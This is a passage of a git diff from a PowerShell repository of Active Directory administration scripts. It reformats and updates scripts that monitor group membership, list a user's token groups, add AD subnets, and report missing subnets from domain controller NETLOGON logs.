" + $body += "List of the previous changes on this group observed by the script" + $body += $infoChangeHistory | Sort-Object -Property DateTime -Descending | ConvertTo-Html -Fragment -PreContent $Head2 | Out-String + } + $body = $body -replace "Added", "Added" + $body = $body -replace "Removed", "Removed" + $body += $Report + + # Preparing the Email properties + $SmtpClient = New-Object -TypeName system.net.mail.smtpClient + $SmtpClient.host = $EmailServer + $MailMessage = New-Object -TypeName system.net.mail.mailmessage + #$MailMessage.from = $EmailFrom.Address + $MailMessage.from = $EmailFrom + #FOREACH ($To in $Emailto){$MailMessage.To.add($($To.Address))} + FOREACH ($To in $Emailto) { $MailMessage.To.add($($To)) } + $MailMessage.IsBodyHtml = 1 + $MailMessage.Subject = $EmailSubject + $MailMessage.Body = $Body + + # Encoding + $MailMessage.BodyEncoding = [System.Text.Encoding]::$EmailEncoding + $MailMessage.SubjectEncoding = [System.Text.Encoding]::$EmailEncoding + + + # Sending the Email + $SmtpClient.Send($MailMessage) + Write-Verbose -Message "[PROCESS] $item - Email Sent." + + + # GroupName Membership export to CSV + Write-Verbose -Message "[PROCESS] $item - Exporting the current membership to $StateFile" + $Members | Export-Csv -Path (Join-Path -Path $ScriptPathOutput -ChildPath $StateFile) -NoTypeInformation -Encoding Unicode + + # Export HTML File + IF ($PSBoundParameters['HTMLLog']) { + # Create HTML Directory if it does not exist + $ScriptPathHTML = $ScriptPath + "\HTML" + IF (!(Test-Path -Path $ScriptPathHTML)) { + Write-Verbose -Message "[PROCESS] Creating the HTML Folder : $ScriptPathHTML" + New-Item -Path $ScriptPathHTML -ItemType Directory | Out-Null + } + + # Define HTML File Name + $HTMLFileName = "$($DomainName)_$($RealGroupName)-$(Get-Date -Format 'yyyyMMdd_HHmmss').html" + + # Save HTML File + $Body | Out-File -FilePath (Join-Path -Path $ScriptPathHTML -ChildPath $HTMLFileName) + } + + + }#IF $Change + ELSE { Write-Verbose -Message "[PROCESS] $item - No Change" } + + }#IF ($GroupName) + ELSE { + Write-Verbose -message "[PROCESS] $item - Group can't be found" + #IF (Get-ChildItem (Join-Path $ScriptPathOutput "*$item*-membership.csv" -ErrorAction Continue) -or (Get-ChildItem (Join-Path $ScriptPathChangeHistory "*$item*.csv" -ErrorAction Continue))) + #{ + # Write-Warning "$item - Looks like a file contains the name of this group, this group was possibly deleted from Active Directory" + #} + + }#ELSE $GroupName + }#TRY + CATCH { + Write-Warning -Message "[PROCESS] Something went wrong" + #Write-Warning -Message $_.Exception.Message + Throw $_ + + #Quest Snappin Errors + if ($ErrorProcessGetQADGroup) { Write-Warning -Message "[PROCESS] QUEST AD - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetQADGroupMember) { Write-Warning -Message "[PROCESS] QUEST AD - Error When querying the group $item members in Active Directory" } + + #ActiveDirectory Module Errors + if ($ErrorProcessGetADGroup) { Write-Warning -Message "[PROCESS] AD MODULE - Error When querying the group $item in Active Directory" } + if ($ErrorProcessGetADGroupMember) { Write-Warning -Message "[PROCESS] AD MODULE - Error When querying the group $item members in Active Directory" } + + # Import CSV Errors + if ($ErrorProcessImportCSV) { Write-Warning -Message "[PROCESS] Error Importing $StateFile" } + if ($ErrorProcessCompareObject) { Write-Warning -Message "[PROCESS] Error when comparing" } + if ($ErrorProcessImportCSVChangeHistory) { Write-Warning -Message "[PROCESS] Error Importing $file" } + + throw $_ + }#CATCH + }#FOREACH + }#TRY + CATCH { + Write-Warning -Message "[PROCESS] Something wrong happened" + Throw $_ + } + }#PROCESS -END -{ - Write-Verbose -message "[END] Script Completed" +END { + Write-Verbose -message "[END] Script Completed" } diff --git a/AD-GROUP-Monitor_MemberShip/README.md b/AD-GROUP-Monitor_MemberShip/README.md new file mode 100644 index 00000000..cbc2b0bb --- /dev/null +++ b/AD-GROUP-Monitor_MemberShip/README.md @@ -0,0 +1,3 @@ +# AD-Monitor Group membership + +This script has been moved to its own repository \ No newline at end of file diff --git a/AD-GROUP-Monitor_MemberShip/todo.md b/AD-GROUP-Monitor_MemberShip/todo.md deleted file mode 100644 index b3628daa..00000000 --- a/AD-GROUP-Monitor_MemberShip/todo.md +++ /dev/null @@ -1,12 +0,0 @@ -TO CHECK: -- [ ] Jay's Comment: Can't see the displayName property - -TO ADD: - -- [ ] Add ADSI Support -- [ ] Add ActiveDirectory Module support -- [ ] Add a count of total number of group members to the script report (requested by Donna Riggins (email)) -- [ ] Add Who modified the script (see email from Lee Rice) -- [ ] Add Event Subscription - - diff --git a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 index 812992d6..32a98e88 100644 --- a/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 +++ b/AD-OBJECT-Get-ADSITokenGroup/Get-ADSITokenGroup.ps1 @@ -1,25 +1,24 @@ -function Get-ADSITokenGroup -{ - <# - .SYNOPSIS - Retrieve the list of group present in the tokengroups of a user or computer object. - - .DESCRIPTION - Retrieve the list of group present in the tokengroups of a user or computer object. - TokenGroups attribute - https://msdn.microsoft.com/en-us/library/ms680275%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 - - .PARAMETER SamAccountName - Specifies the SamAccountName to retrieve - - .PARAMETER Credential - Specifies Credential to use - - .PARAMETER DomainDistinguishedName - Specify the Domain or Domain DN path to use - - .PARAMETER SizeLimit - Specify the number of item maximum to retrieve +function Get-ADSITokenGroup { + <# + .SYNOPSIS + Retrieve the list of group present in the tokengroups of a user or computer object. + + .DESCRIPTION + Retrieve the list of group present in the tokengroups of a user or computer object. + TokenGroups attribute + https://msdn.microsoft.com/en-us/library/ms680275%28v=vs.85%29.aspx?f=255&MSPPError=-2147217396 + + .PARAMETER SamAccountName + Specifies the SamAccountName to retrieve + + .PARAMETER Credential + Specifies Credential to use + + .PARAMETER DomainDistinguishedName + Specify the Domain or Domain DN path to use + + .PARAMETER SizeLimit + Specify the number of item maximum to retrieve .EXAMPLE Get-ADSITokenGroup -SamAccountName TestUser @@ -31,95 +30,91 @@ lazywinadmin\MTL_GroupC 2 TestUser lazywinadmin\MTL_GroupD 2 TestUser lazywinadmin\MTL-GroupE 1 TestUser - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - #> - [CmdletBinding()] - param - ( - [Parameter(ValueFromPipeline = $true)] - [Alias('UserName', 'Identity')] - [String]$SamAccountName, - - [Alias('RunAs')] - [System.Management.Automation.Credential()] - $Credential = [System.Management.Automation.PSCredential]::Empty, - - [Alias('DomainDN', 'Domain')] - [String]$DomainDistinguishedName = $(([adsisearcher]"").Searchroot.path), - - [Alias('ResultLimit', 'Limit')] - [int]$SizeLimit = '100' - ) - BEGIN - { - $GroupList = "" - } - PROCESS - { - TRY - { - # Building the basic search object with some parameters - $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' - $Search.SizeLimit = $SizeLimit - $Search.SearchRoot = $DomainDN - #$Search.Filter = "(&(anr=$SamAccountName))" - $Search.Filter = "(&((objectclass=user)(samaccountname=$SamAccountName)))" - - # Credential - IF ($PSBoundParameters['Credential']) - { - $Cred = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDistinguishedName, $($Credential.UserName), $($Credential.GetNetworkCredential().password) - $Search.SearchRoot = $Cred - } - - # Different Domain - IF ($DomainDistinguishedName) - { - IF ($DomainDistinguishedName -notlike "LDAP://*") { $DomainDistinguishedName = "LDAP://$DomainDistinguishedName" }#IF - Write-Verbose -Message "[PROCESS] Different Domain specified: $DomainDistinguishedName" - $Search.SearchRoot = $DomainDistinguishedName - } - - $Search.FindAll() | ForEach-Object -Process { - $Account = $_ - $AccountGetDirectory = $Account.GetDirectoryEntry(); - - # Add the properties tokenGroups - $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) - - - $($AccountGetDirectory.Get("tokenGroups")) | - ForEach-Object -Process { - # Create SecurityIdentifier to translate into group name - $Principal = New-Object System.Security.Principal.SecurityIdentifier($_, 0) - - # Prepare Output - $Properties = @{ - SamAccountName = $Account.properties.samaccountname -as [string] - GroupName = $principal.Translate([System.Security.Principal.NTAccount]) - } - - # Output Information - New-Object -TypeName PSObject -Property $Properties - } - } | Group-Object -Property groupname | - ForEach-Object { - New-Object -TypeName PSObject -Property @{ - SamAccountName = $_.group.samaccountname | Select-Object -Unique - GroupName = $_.Name - Count = $_.Count - }#new-object - }#Foreach - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something wrong happened!" - Write-Warning -Message $error[0].Exception.Message - } - }#PROCESS - END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } + + .NOTES + Francois-Xavier Cat + lazywinadmin.com + @lazywinadmin + .link + https://github.com/lazywinadmin/PowerShell + #> + [CmdletBinding()] + param + ( + [Parameter(ValueFromPipeline = $true)] + [Alias('UserName', 'Identity')] + [String]$SamAccountName, + + [Alias('RunAs')] + [pscredential] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [Alias('DomainDN', 'Domain')] + [String]$DomainDistinguishedName = $(([adsisearcher]"").Searchroot.path), + + [Alias('ResultLimit', 'Limit')] + [int]$SizeLimit = '100' + ) + BEGIN { + $GroupList = "" + } + PROCESS { + TRY { + # Building the basic search object with some parameters + $Search = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ErrorAction 'Stop' + $Search.SizeLimit = $SizeLimit + $Search.SearchRoot = $DomainDN + #$Search.Filter = "(&(anr=$SamAccountName))" + $Search.Filter = "(&((objectclass=user)(samaccountname=$SamAccountName)))" + + # Credential + IF ($PSBoundParameters['Credential']) { + $Cred = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList $DomainDistinguishedName, $($Credential.UserName), $($Credential.GetNetworkCredential().password) + $Search.SearchRoot = $Cred + } + + # Different Domain + IF ($DomainDistinguishedName) { + IF ($DomainDistinguishedName -notlike "LDAP://*") { $DomainDistinguishedName = "LDAP://$DomainDistinguishedName" }#IF + Write-Verbose -Message "[PROCESS] Different Domain specified: $DomainDistinguishedName" + $Search.SearchRoot = $DomainDistinguishedName + } + + $Search.FindAll() | ForEach-Object -Process { + $Account = $_ + $AccountGetDirectory = $Account.GetDirectoryEntry(); + + # Add the properties tokenGroups + $AccountGetDirectory.GetInfoEx(@("tokenGroups"), 0) + + + $($AccountGetDirectory.Get("tokenGroups")) | + ForEach-Object -Process { + # Create SecurityIdentifier to translate into group name + $Principal = New-Object -TypeName System.Security.Principal.SecurityIdentifier($_, 0) + + # Prepare Output + $Properties = @{ + SamAccountName = $Account.properties.samaccountname -as [string] + GroupName = $principal.Translate([System.Security.Principal.NTAccount]) + } + + # Output Information + New-Object -TypeName PSObject -Property $Properties + } + } | Group-Object -Property groupname | + ForEach-Object -Process { + New-Object -TypeName PSObject -Property @{ + SamAccountName = $_.group.samaccountname | Select-Object -Unique + GroupName = $_.Name + Count = $_.Count + }#new-object + }#Foreach + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + } +}#PROCESS +END { Write-Verbose -Message "[END] Function Get-ADSITokenGroup End." } }#Function \ No newline at end of file diff --git a/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv b/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv new file mode 100644 index 00000000..e93e1991 --- /dev/null +++ b/AD-SITE-Add-ADSubnet(ADSI)/AD-Subnets_template.csv @@ -0,0 +1,4 @@ +Name,Location,Site,Description +192.168.1.0/24,Paris,FX2,PROD Servers VLAN 15 +192.168.2.0/24,London,FX3,PROD Servers VLAN 16 +192.168.3.0/24,Montreal,MTL1,DEV Servers VLAN 101 diff --git a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 index 3a9d84d7..6306b4c9 100644 --- a/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 +++ b/AD-SITE-Add-ADSubnet(ADSI)/Add-ADSubnet.ps1 @@ -1,111 +1,112 @@ -Function Add-ADSubnet{ -<# - .SYNOPSIS - This function allow you to add a subnet object in your active directory using ADSI - - .DESCRIPTION - This function allow you to add a subnet object in your active directory using ADSI - - .PARAMETER Subnet - Specifies the Name of the subnet to add - - .PARAMETER SiteName - Specifies the Name of the Site where the subnet will be created - - .PARAMETER Description - Specifies the Description of the subnet - - .PARAMETER Location - Specifies the Location of the subnet - - .EXAMPLE - Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 - - This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1". - - .EXAMPLE - Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 -Description "Workstations VLAN 110" -Location "Montreal, Canada" -verbose - - This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1" with the description "Workstations VLAN 110" and the location "Montreal, Canada" - Using the parameter -Verbose, the script will show the progression of the subnet creation. - - - .NOTES - NAME: FUNCT-AD-SITE-Add-ADSubnet_using_ADSI.ps1 - AUTHOR: Francois-Xavier CAT - DATE: 2013/11/07 - EMAIL: info@lazywinadmin.com - WWW: www.lazywinadmin.com - TWITTER:@lazywinadm - - http://www.lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html - - VERSION HISTORY: - 1.0 2013.11.07 - Initial Version +Function Add-ADSubnet { + <# + .SYNOPSIS + This function allow you to add a subnet object in your active directory using ADSI + + .DESCRIPTION + This function allow you to add a subnet object in your active directory using ADSI + + .PARAMETER Subnet + Specifies the Name of the subnet to add + + .PARAMETER SiteName + Specifies the Name of the Site where the subnet will be created + + .PARAMETER Description + Specifies the Description of the subnet + + .PARAMETER Location + Specifies the Location of the subnet + + .EXAMPLE + Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 + + This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1". + + .EXAMPLE + Add-ADSubnet -Subnet "192.168.10.0/24" -SiteName MTL1 -Description "Workstations VLAN 110" -Location "Montreal, Canada" -verbose + + This will create the subnet "192.168.10.0/24" and assign it to the site "MTL1" with the description "Workstations VLAN 110" and the location "Montreal, Canada" + Using the parameter -Verbose, the script will show the progression of the subnet creation. + + + .NOTES + NAME: FUNCT-AD-SITE-Add-ADSubnet_using_ADSI.ps1 + AUTHOR: Francois-Xavier CAT + DATE: 2013/11/07 + EMAIL: info@lazywinadmin.com + WWW: lazywinadmin.com + TWITTER:@lazywinadmin + + https://lazywinadmin.com/2013/11/powershell-add-ad-site-subnet.html + + VERSION HISTORY: + 1.0 2013.11.07 + Initial Version + .link + https://github.com/lazywinadmin/PowerShell #> - [CmdletBinding()] - PARAM( - [Parameter( - Mandatory=$true, - Position=1, - ValueFromPipeline=$true, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Subnet name to create")] - [Alias("Name")] - [String]$Subnet, - [Parameter( - Mandatory=$true, - Position=2, - ValueFromPipelineByPropertyName=$true, - HelpMessage="Site to which the subnet will be applied")] - [Alias("Site")] - [String]$SiteName, - [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Description of the Subnet")] - [String]$Description, - [Parameter( - ValueFromPipelineByPropertyName=$true, - HelpMessage="Location of the Subnet")] - [String]$location - ) - PROCESS{ - TRY{ - $ErrorActionPreference = 'Stop' - - # Distinguished Name of the Configuration Partition - $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext - - # Get the Subnet Container - $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" - - # Create the Subnet object - Write-Verbose -Message "$subnet - Creating the subnet object..." - $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") - - # Assign the subnet to a site - $SubnetObject.put("siteObject","cn=$SiteName,CN=Sites,$Configuration") - - # Adding the Description information if specified by the user - IF ($PSBoundParameters['Description']){ - $SubnetObject.Put("description",$Description) - } - - # Adding the Location information if specified by the user - IF ($PSBoundParameters['Location']){ - $SubnetObject.Put("location",$Location) - } - $SubnetObject.setinfo() - Write-Verbose -Message "$subnet - Subnet added." - }#TRY - CATCH{ - Write-Warning -Message "An error happened while creating the subnet: $subnet" - $error[0].Exception - }#CATCH - }#PROCESS Block - END{ - Write-Verbose -Message "Script Completed" - }#END Block + [CmdletBinding()] + PARAM( + [Parameter( + Mandatory = $true, + Position = 1, + ValueFromPipeline = $true, + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Subnet name to create")] + [Alias("Name")] + [String]$Subnet, + [Parameter( + Mandatory = $true, + Position = 2, + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Site to which the subnet will be applied")] + [Alias("Site")] + [String]$SiteName, + [Parameter( + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Description of the Subnet")] + [String]$Description, + [Parameter( + ValueFromPipelineByPropertyName = $true, + HelpMessage = "Location of the Subnet")] + [String]$location + ) + PROCESS { + TRY { + $ErrorActionPreference = 'Stop' + + # Distinguished Name of the Configuration Partition + $Configuration = ([ADSI]"LDAP://RootDSE").configurationNamingContext + + # Get the Subnet Container + $SubnetsContainer = [ADSI]"LDAP://CN=Subnets,CN=Sites,$Configuration" + + # Create the Subnet object + Write-Verbose -Message "$subnet - Creating the subnet object..." + $SubnetObject = $SubnetsContainer.Create('subnet', "cn=$Subnet") + + # Assign the subnet to a site + $SubnetObject.put("siteObject", "cn=$SiteName,CN=Sites,$Configuration") + + # Adding the Description information if specified by the user + IF ($PSBoundParameters['Description']) { + $SubnetObject.Put("description", $Description) + } + + # Adding the Location information if specified by the user + IF ($PSBoundParameters['Location']) { + $SubnetObject.Put("location", $Location) + } + $SubnetObject.setinfo() + Write-Verbose -Message "$subnet - Subnet added." + }#TRY + CATCH { + $PSCmdlet.ThrowTerminatingError($_) + }#CATCH + }#PROCESS Block + END { + Write-Verbose -Message "Script Completed" + }#END Block }#Function Add-ADSubnet \ No newline at end of file diff --git a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 index bf84a38c..2efb2241 100644 --- a/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 +++ b/AD-SITE-Find_Missing_Subnets/AD-Find_missing_subnets_in_ActiveDirectory.ps1 @@ -1,410 +1,386 @@ <# - .SYNOPSIS - This script goal is to get all the missing subnets from the - NETLOGON.LOG file from each Domain Controllers in the Active Directory. - It will copy all the NETLOGON.LOG locally and parse them. - - .DESCRIPTION - This script goal is to get all the missing subnets from the - NETLOGON.LOG file from each Domain Controllers in the Active Directory. - It will copy all the NETLOGON.LOG locally and parse them. - - .PARAMETER EmailServer - Specifies the Email Server IPAddress/FQDN - .PARAMETER EmailTo - Specifies the Email Address(es) of the Destination - .PARAMETER EmailFrom - Specifies the Email Address of the Sender - .PARAMETER EmailSubject - Specifies the Email Subject - .PARAMETER LogsLines - Specifies the number of Lines to check in the NETLOGON.LOG files - Default is '-200'. - This number is negative, so the script check the last x lines (newest entry). - If you put a positive number it will check the first lines (oldest entry). - - .EXAMPLE - ./TOOL-AD-SITE-Report_Missing_Subnets.ps1 -Verbose -EmailServer mail.fx.local -EmailTo "Contact1@fx.local","Contact2@fx.local" -EmailFrom ADREPORT@fx.local -EmailSubject "Report - AD - Missing Subnets" - - This example will query all the Domain Controllers in the Active Directory and get the last 200 lines (Default) of each NETLOGON.log files. It will then send an email report to Contact1@fx.local and Contact2@fx.local. - - .NOTES - NAME: TOOL-AD-SITE-Report_Missing_Subnets.ps1 - AUTHOR: Francois-Xavier CAT - DATE: 2011/10/11 - EMAIL: info@lazywinadmin.com - - REQUIREMENTS: - -A Task scheduler to execute the script every x weeks - -Permission to Read \\DC\admin$, a basic account without specific rights will do it - -Permission to write locally in the Output folder ($ScriptPath\Output) - - VERSION HISTORY: - 1.0 2011.10.11 - Initial Version. - 1.1 2011.11.12 - FIX System.OutOfMemoryException Error when too many logs to process - Now the script will copy the file locally. - 1.2 2012.09.22 - UPDATE Code to report via CSV/Email - 1.3 2013.10.14 - UPDATE the syntax of the script - 1.4 2013.10.20 - ADD ValidatePattern on Email parameters, instead of [mailaddress] which is only supported on PS v3 + .SYNOPSIS + This script goal is to get all the missing subnets from the + NETLOGON.LOG file from each Domain Controllers in the Active Directory. + It will copy all the NETLOGON.LOG locally and parse them. + + .DESCRIPTION + This script goal is to get all the missing subnets from the + NETLOGON.LOG file from each Domain Controllers in the Active Directory. + It will copy all the NETLOGON.LOG locally and parse them. + + .PARAMETER EmailServer + Specifies the Email Server IPAddress/FQDN + .PARAMETER EmailTo + Specifies the Email Address(es) of the Destination + .PARAMETER EmailFrom + Specifies the Email Address of the Sender + .PARAMETER EmailSubject + Specifies the Email Subject + .PARAMETER LogsLines + Specifies the number of Lines to check in the NETLOGON.LOG files + Default is '-200'. + This number is negative, so the script check the last x lines (newest entry). + If you put a positive number it will check the first lines (oldest entry). + + .EXAMPLE + ./TOOL-AD-SITE-Report_Missing_Subnets.ps1 -Verbose -EmailServer mail.fx.local -EmailTo "Contact1@fx.local","Contact2@fx.local" -EmailFrom ADREPORT@fx.local -EmailSubject "Report - AD - Missing Subnets" + + This example will query all the Domain Controllers in the Active Directory and get the last 200 lines (Default) of each NETLOGON.log files. It will then send an email report to Contact1@fx.local and Contact2@fx.local. + + .NOTES + NAME: TOOL-AD-SITE-Report_Missing_Subnets.ps1 + AUTHOR: Francois-Xavier CAT + DATE: 2011/10/11 + EMAIL: info@lazywinadmin.com + + REQUIREMENTS: + -A Task scheduler to execute the script every x weeks + -Permission to Read \\DC\admin$, a basic account without specific rights will do it + -Permission to write locally in the Output folder ($ScriptPath\Output) + + VERSION HISTORY: + 1.0 2011.10.11 + Initial Version. + 1.1 2011.11.12 + FIX System.OutOfMemoryException Error when too many logs to process + Now the script will copy the file locally. + 1.2 2012.09.22 + UPDATE Code to report via CSV/Email + 1.3 2013.10.14 + UPDATE the syntax of the script + 1.4 2013.10.20 + ADD ValidatePattern on Email parameters, instead of [mailaddress] which is only supported on PS v3 1.4.1 2014.02.24 FIX issue with sending the email - 1.5.0 2015.03.12 - ADD Search all domains in the forest - ADD NETLOGON file version detection (from 2012, NETLOGON contains a colomn for ErrorCode) - ADD some Verbose/Warning message - ADD Support for SMTP Port (Parameter EmailSMTPPort), default is 25 - UPDATE Logic of the script (now append csv for each DC, and process the CSV files and Build html at the end of the PROCESS block) - UPDATE Html report to show forest and domain information - ADD KeepLogs Switch Parameter - REMOVE the ExportCSV part, it is saved by default - ADD HTMLReportPath Parameter, Just need to specify the folder. default file name will be: $ForestName-DateFormat-Report.html - ADD Table CSS + 1.5.0 2015.03.12 + ADD Search all domains in the forest + ADD NETLOGON file version detection (from 2012, NETLOGON contains a colomn for ErrorCode) + ADD some Verbose/Warning message + ADD Support for SMTP Port (Parameter EmailSMTPPort), default is 25 + UPDATE Logic of the script (now append csv for each DC, and process the CSV files and Build html at the end of the PROCESS block) + UPDATE Html report to show forest and domain information + ADD KeepLogs Switch Parameter + REMOVE the ExportCSV part, it is saved by default + ADD HTMLReportPath Parameter, Just need to specify the folder. default file name will be: $ForestName-DateFormat-Report.html + ADD Table CSS + .link + https://github.com/lazywinadmin/PowerShell #> #requires -version 2.0 [CmdletBinding()] PARAM ( - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String]$EmailFrom, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] - [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] - [String[]]$EmailTo, - - [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] - [String]$EmailServer, - - [ValidateRange(0,65535)] - [int]$EmailServerPort = 25, - - [String]$EmailSubject = "Report - Active Directory - SITE - Missing Subnets", - - [Int]$LogsLines = "-200", - - [Switch]$KeepLogs, - - [ValidateScript({ Test-Path -Path $_})] - [String]$HTMLReportPath + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Sender Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String]$EmailFrom, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Destination Email Address")] + [ValidatePattern("[a-z0-9!#\$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#\$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?")] + [String[]]$EmailTo, + + [Parameter(Mandatory = $true, HelpMessage = "You must specify the Email Server to use (IPAddress or FQDN)")] + [String]$EmailServer, + + [ValidateRange(0, 65535)] + [int]$EmailServerPort = 25, + + [String]$EmailSubject = "Report - Active Directory - SITE - Missing Subnets", + + [Int]$LogsLines = "-200", + + [Switch]$KeepLogs, + + [ValidateScript( { Test-Path -Path $_ })] + [String]$HTMLReportPath ) -BEGIN -{ - TRY - { - # PATH Information - $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) - $ScriptPathOutput = $ScriptPath + "\Output" - IF (-not (Test-Path -Path $ScriptPathOutput)) - { - Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" - New-Item -Path $ScriptPathOutput -ItemType Directory -ErrorAction 'Stop' | Out-Null - } - - # Date and Time Information - $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" - $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" - - # HTML Report settings - $ReportTitle = "

" + - "Report - Active Directory - SITE - Missing Subnets" + - "

" - # HTML Report settings - $Report = "

" + - "Report Time: $DateFormat
" + - "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + - "

" - - $Head = ""+ - - '' - - $Head2 = "" - - $TableCSS = @" +BEGIN { + TRY { + # PATH Information + $ScriptPath = (Split-Path -Path ((Get-Variable -Name MyInvocation).Value).MyCommand.Path) + $ScriptPathOutput = $ScriptPath + "\Output" + IF (-not (Test-Path -Path $ScriptPathOutput)) { + Write-Verbose -Message "[BEGIN] Creating the Output Folder : $ScriptPathOutput" + New-Item -Path $ScriptPathOutput -ItemType Directory -ErrorAction 'Stop' | Out-Null + } + + # Date and Time Information + $DateFormat = Get-Date -Format "yyyyMMdd_HHmmss" + $ReportDateFormat = Get-Date -Format "yyyy\MM\dd HH:mm:ss" + + # HTML Report settings + $ReportTitle = "

" + + "Report - Active Directory - SITE - Missing Subnets" + + "

" + # HTML Report settings + $Report = "

" + + "Report Time: $DateFormat
" + + "Account: $env:userdomain\$($env:username.toupper()) on $($env:ComputerName.toUpper())" + + "

" + + $Head = "" + + + '' + + $Head2 = "" + + $TableCSS = @" "@ - - $PostContent = "

Generated from: $($env:COMPUTERNAME.ToUpper()) on $(Get-Date -Format "yyyy/MM/dd HH:mm:ss")
" - - # Get the Current Forest Information - $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() - $ForestName = $Forest.Name.ToUpper() - Write-Verbose -Message "[BEGIN] Forest: $ForestName" - - - }#TRY - CATCH - { - Write-Warning -Message "BEGIN BLOCK - Something went wrong" - Write-Warning -Message $Error[0].Exception.Message - }#CATCH + + $PostContent = "

Generated from: $($env:COMPUTERNAME.ToUpper()) on $(Get-Date -Format "yyyy/MM/dd HH:mm:ss")
" + + # Get the Current Forest Information + $Forest = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() + $ForestName = $Forest.Name.ToUpper() + Write-Verbose -Message "[BEGIN] Forest: $ForestName" + + + }#TRY + CATCH { + Throw $_ + }#CATCH }#BEGIN -PROCESS -{ - TRY - { - FOREACH ($Domain in $Forest.Domains) - { - $DomainName = $Domain.Name.ToUpper() - - # Get the names of all the Domain Contollers in $domain - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Getting all Domain Controllers from ..." - $DomainControllers = $domain | ForEach-Object -Process { $_.DomainControllers } | Select-Object -Property Name - - # Gathering the NETLOGON.LOG for each Domain Controller - Write-Verbose "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - Gathering Logs from Domain controllers" - FOREACH ($dc in $DomainControllers) - { - $DCName = $($dc.Name).toUpper() - TRY - { - - ####################### - # COPY NETLOGON Files # - ####################### - - # Get the Current Domain Controller in the Loop - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - Gathering Logs" - - # NETLOGON.LOG path for the current Domain Controller - $path = "\\$DCName\admin`$\debug\netlogon.log" - - # Testing the $path - IF ((Test-Path -Path $path) -and ((Get-Item -Path $path).Length -ne $null)) - { - IF ((Get-Content -Path $path | Measure-Object -Line).lines -gt 0) - { - #Copy the NETLOGON.log locally for the current DC - Write-Verbose -Message "[PROCESS] FOREST: $ForestName DOMAIN: $domainName - $DCName - NETLOGON.LOG - Copying..." - Copy-Item -Path $path -Destination $ScriptPathOutput\$DomainName-$DCName-$DateFormat-netlogon.log - - #Export the $LogsLines last lines of the NETLOGON.log and send it to a file - ((Get-Content 